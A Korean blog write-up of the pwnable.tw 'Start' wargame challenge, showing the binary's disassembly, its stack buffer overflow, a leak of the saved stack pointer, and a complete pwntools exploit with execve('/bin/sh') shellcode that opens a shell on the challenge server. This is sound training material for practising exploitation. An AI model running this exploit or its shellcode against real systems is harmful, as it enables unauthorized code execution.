본문으로 바로가기

pwnable.tw / Start

category Wargame/pwnable.tw 2020. 5. 31. 16:36

컴팩트한 32bit 바이너리가 주어진다.

 

.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    ':FTC'
.text:08048073                 push    ' eht'
.text:08048078                 push    ' tra'
.text:0804807D                 push    'ts s'
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed

 

32bit syscall을 쓴다. C로 아래처럼 나타낼 수 있다.

 

void __cdecl start()
{
  char buf[20]; // [esp-0h]

  strcpy(buf"Let's start the CTF:");
  sys_write(1, buf, 0x14);
  sys_read(0, buf, 0x3C);
}

 

esp+0x14 에 _exit 주소가 들어가는데, read syscall에서 0x3C 크기만큼 입력을 받기 때문에 이 값을 덮어씌울 수 있다.

 

_start 의 첫 부분에서 esp를 스택에 올린다. ret를 지나면 esp는 saved esp를 가리키고, write 루틴으로 이동해서 이 값을 출력시킬 수 있다. saved esp 값을 알아낸 뒤 shellcode를 쓰고 해당 주소로 점프하면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import argparse


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def exploit() :
    shellcode = '''
    lea ebx, [esp-0x30]
    xor ecx, ecx
    xor edx, edx
    mov al, 0xB
    int 0x80
    '''


    payload = b'/bin/sh'
    payload = payload.ljust(0x14b'\x00')
    payload += p32(0x8048087)

    p.writeafter(b'CTF:', payload)
    saved_esp = u32(p.read()[:4])
    log_info('saved esp = '+hex(saved_esp))

    payload = asm(shellcode)
    payload = payload.ljust(0x14b'\x00')
    payload += p32(saved_esp-4)

    p.write(payload)

    p.interactive()


if __name__ == '__main__' :
    context.arch = 'i386'

    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('chall.pwnable.tw'10000fam='ipv4')
    else :
        p = process('./start')

    exploit()

 

 

 

Last update: 10/21/2020

'Wargame > pwnable.tw' 카테고리의 다른 글

pwnable.tw / orw  (0) 2020.05.31